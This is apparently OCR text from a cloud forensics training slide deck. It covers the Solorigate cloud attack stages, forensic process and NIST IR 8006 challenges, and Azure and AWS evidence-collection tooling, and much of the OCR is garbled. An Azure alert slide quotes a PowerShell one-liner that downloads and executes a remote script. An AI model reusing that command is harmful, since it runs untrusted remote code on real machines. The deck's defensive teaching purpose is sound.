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Cloud Related Case

SOLORIGATE ATTACK
Stage 3: Hands-on-keyboard attack in the cloud

Attacker c2

Stolen SAML
signing key L > P\_ > > —_— e — ,-
Path 2 Mint SAML Searching for Credentials added App Email
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__________ . > _ > _ tokens accounts of to service principal impersonated exracted
A= @ interest of Oauth apps through APIs

Admin New SAML signing  New or modified
privileges key created federation trust




CLOUD FORENSIC

Acquisition

* Seizure and
acquisition of
remote data,
large data
volumes,
distributed and
elastic data
possibly
associated with
the allegation or
incident in the
cloud
environment

Preservation

* Preservation of the
digital artefacts
through imaging,
hashing and
duplication
functions to ensure
evidence integrity

Examination

* Examination of
the forensic data
collected from
the collection
phase to
generate input
for further
forensic analysis

STAGES

Analysis

* Analysis of the
forensics (data
fuse and
correlation to
produce
reasoned
conclusions)

Reporting

* Reporting
presentation
of the
results
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CLOUD FORENSIC CHALLENGES (NIST ¢,

IR 8006)

o Architecture

LD FORENSIC
IRBOB6):

o Incident first responders
o Role Management

o Legal

o Standards

o Training

FCID Short Title Challenge Description Result of Overcoming Challenge
FC-01 Deletion in the |Recovering data Deletion in the cloud is often based on the If this challenge were overcome, it
cloud deleted from the | deletion of nodes pointing to information in would be easier to recover deleted
cloud (by either virtual instances. Pathways for retrieval of the | data and to attribute that recovered
the Provider, deleted information are dependent on cloud data to a specific user.
Consumer, or Providers offering sufficiently sophisticated
attacker) and mechanisms for access.
attributing tha't Once the data is recovered, it remains a
data to a specific challenge to attribute specific data items to an
user individual user given the fact that cloud-based
storage is a shared service in a multi-tenant
environment.
FC-02 |Recovering Recovery of Recovery of data marked as deleted (i.e., for | If this challenge were overcome, it
overwritten data | deleted data that | which the nodes pointing to it are deleted) is | would be easier to recover deleted
has been difficult if the data is overwritten by another | data that has been overwritten and to
overwritten by user in a shared virtual environment. attribute that recovered data to a
another user in a specific user.
Sh"“?ed virtual Note: Data can be overwritten by the same
environment

user or another user. If the latter, attributing
ownership is difficult.




CLOUD FORENSIC READIN o wn

o Technical Factors
e Cloud Infrastructure
e Cloud Architecture
* Forensic Technologies
e Cloud Security

o Legal Factors
 SLA
e Regulatory
* Jurisdiction

o Organisational Factors
* Management Support
e Readiness strategy
* Governance
* Culture

—

Technical Organizational
Factors

support
Cloud Readiness
architecture strategy
Forensic Governance
technologies Culture
Cloud security bt
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p 4

Cloud Forensic
Readiness

F 3

Legal Factors

Service Level
Agreements
(SLA)
Regulatory
Jurisdiction
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FORENSIC READINESS MODELS

Forensics Readiness Factors

Study Technical Factors Legal Factors Organizational Factors
Infrastructure | Architecture | Technologies | Security | SLA | Regulatory | Jurisdiction | Management | Strategy | Governance | Culture | Training | procedure
support
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MAIN POINTS / EXAMPLE

|! Microsaoft Defender |

| Storage Accounts ] for Storage |

Application Insights

Function App

Y

-
p \ [ Network Interfaces
Metwork Flows
Azure Sentinel - Metwork Watcher
. . y ‘ [ | MNetwork security group
p o
|lr/‘-- --\‘\.\I
|
( 1 [ AKS
‘;L Security Center Jf. >
[ VM HashiCorp Vault
| []
[ VM Scale Set |
Microsoft Defender for Cloud
= FeaourcaLogs | Load Balancers
» Activity Logs
[ NAT Gateway
[
« Access Logs APIM
« Activity Logs [
= Alerts Azure Monitor
%, '
s &

o Architecture
o Licensing
o Technologies




TEEENEpiE FACTORS

Feature Free units included
Network Logs Collected' 5 GB per month
Network Diagnostic Tools? 1,000 checks per month
Connection Monitor® 10 tests per month

 CHRITYMODNTQRIN

o Defender for Storage - $0.02/10K
transactions

o Network Watcher
o Monitor —

GB/m

o Log Analytics - $3.28 per GB
Sentinel

Data Retention - $0.143 per

Network Performance Monitor -
Service Connectivity Monitor

Network Performance Monitor — 10 per connection per month
Performance Monitor

Network Analytics® -

Traffic Analytics

Price
$0.50 per GB

$0.001 per 1,000 checks

0-10 tests - Included

10-240,010 tests - $0.30 per test per month
240,010-750,010 tests - $U.10 per test per month
750,010-1,000,010 tests - $D.05 per test per month
1,000,010+ tests - $0.02 per test per manth

$3 per connection per month

0-10 connections - Included

10-240,010 connections - $0.30 per connection metric
per month

240,010-750,010 connections - $0.10 per connection
metric per month

750,010-1,000,010 connections - $0.05 per connection
metric per month

1,000,010+ connections - $0.02 per connection metric
per month

See Azure Monitor Log Analytics pricing

Accelerated processing at 10-min intervals: $3.50 per
GB-processed*
Standard processing at 60-min intervals: $2.30 per GB-

processed*
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AZURE SECURITY MONITORING
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ALERT EXAMPLE

8 rvestigate

The incident which started on 2017-11-17 17:48:20 UTC and recently detected on
DESCRIPTION 2017-11-17 23:58:53 UTC indicates that an attacker has abused resource in your

resource SAIPROD

DETECTION TIME Friday, Movember 17, 2017 9:46:20 AM

SEVERITY O High
STATE Active
ATTACKED RESOURCE SAIBROD

MSTIC Forensics Prod
]

SUBSCRIFTION

DETECTED BY B8 Microsoft

EMVIRONMENT =8 Azure

| Alerts included in this incident

DESCRIFTIOMN COUNT DETECTION TIME ATTACKED RESOURCE
JI Suspicious Powershell Activity Detected I 1 SAIFROD
1] Detected the disabling of critical services SAIPROD
u Suspicious Account Creation Detected SAIPROD
o Windows registry persistence methad detected SAIPROD
] Potential attempt to bypass Applocker detected SAIPROD

SEVERITY
B High
i Mediem
dk Medium
8 Low

0 nigh

L] e | bl Run playbaoks

DESCRIPTION

DETECTION TIME

SEVERITY

STATE

ATTACKED RESOURLCE

SUBSCRIPTION

DETECTED BY

ACTIOM TAKEN

EMVIROMNMENT

RESOURCE TYPE

SUSPICKOUS SCRIPT

PFAREMT PROCESS

ACCOUNT SESSION 1D

Analyzis of host dats detect=® a powershell script

running on SAIPROD that has features in commen with

kmown suspicious scripts. This script could either be
legitimate activity, or an indication that one of your
machinegs has been compromized

Friday, Movember 17, 2017 S:4T:36 AM
@ High
Active

MSTIC Forenzics Prod |
T

B Microsoft
Detacted

BB Azure

B3 Virtual Machine

‘ChWindows\System 32\ WindowsPowerShellw1.0
powershell.exe” -noprofile -executionpolicy
unrestricted -command “iex {{new-ohject
netwebclient).downloadstring
{https:/testsaikasm.org/Sai_Testbat )"

chwindowshsystem3 windowspowershellyw1.0
powershelles

One144352




SOLUTION

Firewall Subnet

Firewall01

Gateway Subnet

e

EXAMPLE OF SUGGESTED

Soc Key
Vault

Hybrid Runbook
Workers

workspace

SOC Subscription

Eea N

Log Analytics

Copy-VmDigitalEvidence

socC
AUTOMATION
Account ﬁ

Timestamp_VHD
0S disk

o

Timestamp_VHD| [Timestamp_VHD
data disk 01

data disk 02

Container with Legal Hold Policy:

SOC Storage Account

ER Gateway

Commeon Workloads

Common

HUB Vnet (v)

HUB Subscription

..contoso.anmicrosoft.carn

Vnet peeritig

a4

HD OS disk
I@;
] o
(VHD data disk 01|| VHD data disk 02

PROD Vnet (...)

PRODUCTION Subscription

PROD
Key
Vault

OPERATION Team

EAM
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SNAPSHOTTING DISKS IN THE

AZURE =

|
!
7oy ~ |
Snapshoi(} :I'-u,.?‘“’ ] Generate SASLink [ — E
o i
2 i
Diskl Diskl-Snapshot SAS link o snapshol :
i
!
————Import snapshot o container L
Destination Azure Account

CreateStorageAccount()
CreateContziner()

| ®

—CreateDskFromUJRI{)

Storage account







AWS TOOLS

?.
o AWS Organisations allows you to create separate accounts along business lines or missi®
areas which also limits the “blast radius” should a breach occur; for governance, you can apply
policies to each of those sub accounts from the AWS master account.

o Security Groups enables isolation of Amazon EC2 instances.

o AWS CloudTrail provides a history of AWS API calls that can assist in response and trigger
automated detection and response systems.

o VPC Flow Logs enables you to capture information about the IP traffic going to and from
network interfaces in your VPC.

o Amazon GuardDuty is a managed threat detection service that continuously monitors for
malicious or unauthorised behaviour.

o Amazon CloudWatch Events triggers different automated actions from changes in AWS
resources including CloudTrall.

o AWS Step Functions coordinates a sequence of steps to automate an incident response
process.

o AWS Cloud Formation automates the creation of trusted environments for conducting deeper
investigations. PR




Bl Monitored Account

B Security Account

i

Ed

Amazon AWS AWS Amazon
GuardDuty Security Hub Security Hub EventBridge
i {Member) (Administrator) Rule
2 3 4
: N N ()
T = —
T i Member - & 5
Antached EBS  Compromised Automation AWS Lambda Invoke
Volumes Instance Step Functions Function
Role p
= — s ¥
— = 1
Encrypted Shared Created EBS
Snapshots Snapshots Volumes

Evidence Bucket

b

Collector VM
Instance




DISK FORENSIC AUTOMATION

I Sectstly Accout https://aws.amazon.com/blogs/security/ho
bt w-to-automate-forensic-disk-collection-in-
r‘] Private subnet - A ﬁ Private subnet - B aWS/
Y
Collector Collector
VMs VMs
Logs Logs
Endpoint Endpoint
S3
Endpoint
— 5
Amazon Amazon ~ ~
CloudWatch s3 alle
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Topic: Verify Step Function:
Instance ID Instance Incident Response
Instance

Remove Snapshot Record . Apply . :
. Notif
Auto Scaling . Volumes Metadata LED S oy
(+logic)
Isolate
Instance SG

. . Create CloudFormation: — Topic:

Cleanroom Clean Room W Instance
Incident
Run Basic I
Forensics

Generate

— .
— Topic:
Report

Forensics Report

¥
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OUR TRAINERSUR EXPERIENCE

o BlackEnergy
o LockerGoga
o NotPetya

Dr. Anders Carlsson is an expert with more than 30-
years of experience in cybersecurity, forensic
Investigations, and network security.
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